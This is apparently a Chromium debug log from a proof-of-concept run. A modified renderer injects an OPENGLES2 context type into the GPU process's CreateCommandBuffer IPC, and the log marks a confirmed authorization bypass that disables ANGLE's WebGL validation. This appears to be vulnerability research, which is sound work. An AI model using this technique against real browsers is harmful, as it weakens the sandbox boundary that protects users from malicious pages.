[1305:1305:0402/071929.225350:ERROR:ui/gl/gl_context_egl.cc:211] [POC-EGL] Passing EGL_CONTEXT_WEBGL_COMPATIBILITY_ANGLE=EGL_FALSE to ANGLE eglCreateContext. ANGLE Context::isWebGL() will return false. [1305:1305:0402/071929.233506:ERROR:ui/gl/gl_context_egl.cc:211] [POC-EGL] Passing EGL_CONTEXT_WEBGL_COMPATIBILITY_ANGLE=EGL_FALSE to ANGLE eglCreateContext. ANGLE Context::isWebGL() will return false. [1305:1305:0402/071929.249711:ERROR:ui/gl/gl_context_egl.cc:211] [POC-EGL] Passing EGL_CONTEXT_WEBGL_COMPATIBILITY_ANGLE=EGL_FALSE to ANGLE eglCreateContext. ANGLE Context::isWebGL() will return false. [1305:1305:0402/071929.283775:ERROR:ui/gl/gl_context_egl.cc:211] [POC-EGL] Passing EGL_CONTEXT_WEBGL_COMPATIBILITY_ANGLE=EGL_FALSE to ANGLE eglCreateContext. ANGLE Context::isWebGL() will return false. [1342:1342:0402/071929.533626:ERROR:services/viz/public/cpp/gpu/context_provider_command_buffer.cc:151] [POC-RENDERER] Overriding context_type to CONTEXT_TYPE_OPENGLES2 (value=2) in CreateCommandBuffer IPC. Legitimate renderers only ever send WEBGL1/WEBGL2. [1305:1305:0402/071929.535973:ERROR:gpu/ipc/service/gpu_channel.cc:992] [POC-GPU-IPC] GpuChannel::CreateCommandBuffer received GLES request: context_type=OPENGLES2 (int=2) is_gpu_host_=0 client_id_=5 [1305:1305:0402/071929.536411:ERROR:gpu/ipc/service/gpu_channel.cc:999] [POC-GPU-IPC] *** CWE-863 BYPASS CONFIRMED *** Non-gpu-host client (compromised renderer) requested CONTEXT_TYPE_OPENGLES2 and the GPU process is accepting it. No is_gpu_host_ gate exists at this IPC boundary. [1305:1305:0402/071929.537469:ERROR:gpu/command_buffer/service/service_utils.cc:143] [POC-GPU-ATTRIBS] GenerateGLContextAttribsForDecoder: context_type=OPENGLES2 -> webgl_compatibility_context=false hardened_context=true [1305:1305:0402/071929.537767:ERROR:gpu/command_buffer/service/service_utils.cc:151] [POC-GPU-ATTRIBS] *** webgl_compatibility_context=FALSE *** This propagates to ANGLE as EGL_CONTEXT_WEBGL_COMPATIBILITY_ANGLE=EGL_FALSE, making isWebGL() return false and bypassing 79 validation gates. hardened_context=true is shader-only compensation (single use site: Shader.cpp:637). [1305:1305:0402/071929.538137:ERROR:ui/gl/gl_context_egl.cc:211] [POC-EGL] Passing EGL_CONTEXT_WEBGL_COMPATIBILITY_ANGLE=EGL_FALSE to ANGLE eglCreateContext. ANGLE Context::isWebGL() will return false. [1305:1305:0402/071929.558505:ERROR:gpu/command_buffer/service/gl_utils.cc:426] [.WebGL-0x7ce198feb680] GL_INVALID_ENUM: glFramebufferRenderbuffer: Invalid Attachment Type. [1271:1271:0402/071929.597955:INFO:CONSOLE:14] "[POC-JS] Requesting WebGL context (renderer will inject CONTEXT_TYPE_OPENGLES2)", source: http://127.0.0.1:8080/poc.html (14) [1271:1271:0402/071929.661079:INFO:CONSOLE:14] "[POC-JS] Context created. GL_VERSION: WebGL 1.0 (OpenGL ES 2.0 Chromium)", source: http://127.0.0.1:8080/poc.html (14) [1271:1271:0402/071929.661227:INFO:CONSOLE:14] "[POC-JS] GL_RENDERER: WebKit WebGL", source: http://127.0.0.1:8080/poc.html (14) [1271:1271:0402/071929.661337:INFO:CONSOLE:14] "[POC-JS] S3TC extension available, testing 5x5 DXT1 (non-block-aligned)", source: http://127.0.0.1:8080/poc.html (14) [1271:1271:0402/071929.661486:INFO:CONSOLE:14] "[POC-JS] compressedTexImage2D(5x5 DXT1) GL error: 0x500 (rejected)", source: http://127.0.0.1:8080/poc.html (14) [1271:1271:0402/071929.676139:INFO:CONSOLE:49] "[.WebGL-0x7ce198feb680] GL_INVALID_ENUM: glFramebufferRenderbuffer: Invalid Attachment Type.", source: http://127.0.0.1:8080/poc.html (49)